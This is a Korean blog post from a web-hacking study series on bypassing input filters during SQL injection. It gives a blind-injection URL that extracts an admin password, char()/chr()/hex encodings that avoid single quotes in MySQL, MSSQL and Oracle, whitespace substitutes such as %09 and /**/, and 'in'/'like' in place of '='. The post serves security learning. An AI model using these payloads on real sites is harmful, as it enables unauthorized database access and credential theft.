Oh! JUN
6) 보안 솔루션 및 입력 값 검증 우회 기법 본문
6) 특수 문자 검증 우회 기법
1. 싱글 쿼터(') 문자 검증 우회
| 싱글 쿼터 문자 사용이 반드시 필요한 예시 |
| SELECT * FROM board WHERE title like '%test%' |
| 싱글 쿼터 문자 사용이 필요 없는 예시 |
| SELECT * FROM board WHERE idx=100 |
| SELECT * FROM board WHERE title like '%test%' |
| SELECT * FROM board order by idx desc |
※ 예시
| boardView.do?idx=100 | 정상 |
| boardView.do?idx=100 and 1=1 | 정상 |
| boardView.do?idx=100 and ascii(substring((select password from member where id='admin'),1,1)&1=1 | 거짓 |
| boardView.do?idx=100 and substring('test',1,1)='t' | 거짓 |
'admin', 'test' 싱글쿼터 검증때문에 거짓 뜸
※ 우회 방법
| 'admin' 싱글 쿼터 우회 방법 | ||
| MYSQL | char | 1) concat(char(97), char(100), char(109), char(105), char(110)) 2) char(97, 100, 109, 105, 110) 3) 0x61646D696E |
| MSSQL | char | char(97)+char(100)+char(109)+char(105)+char(110) |
| ORACLE | chr | chr(97)||chr(100)||chr(109)||chr(105)||chr(110) |

※ burp suite

1) concat(char(97), char(100), char(109), char(105), char(110))

2) char(97, 100, 109, 105, 110)

3) 0x61646D696E
2. 공백 문자 검증 우회
| boardView.do?idx=101-1 | 정상 |
| boardView.do?idx=100[공백]-1 | 차단 |
| boardView.do?idx=100[공백]and[공백]1=1 | 차단 |
| boardView.do?idx=[공백]100 | 차단 |
| 분류 | 문자 |
| 공백 관련 문자 | %09 |
| %0A | |
| %0B | |
| %0C | |
| %0D | |
| %A0 | |
| 주석 문자 | /**/ |


3. = 문자 검증 우회
| 대체 연산자 |
| in |
| like |

1=1은 1in(1)이다.

1=1은 1 like 1 이다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
| 8) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
|---|---|
| 7) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
| SQL Injection을 통한 데이터 조회 공격 실습 (0) | 2022.10.02 |
| SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |
| INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 (0) | 2022.10.01 |